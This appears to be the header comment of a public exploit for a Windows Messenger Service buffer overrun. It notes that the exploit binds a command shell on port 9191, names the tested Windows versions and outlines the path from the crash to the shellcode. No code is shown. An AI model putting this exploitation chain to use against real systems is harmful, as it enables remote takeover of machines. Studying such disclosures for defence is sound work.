Microsoft Windows Messenger Service is prone to a remotely exploitable buffer overrun vulnerability. This is due to insufficient bounds checking of messages before they are passed to an internal buffer. Exploitation could result in a denial of service or in execution of malicious code in Local System context, potentially allowing for full system compromise.

Binds command shell on port 9191
Tested on
Windows XP Professional SP1 English version
Windows 2000 Professional SP3 English version
access violation -> unhandledexceptionfilter ->
-> call [esi+48h]/call [edi+6ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode
attach debugger and c how it flows :) worked fine for me
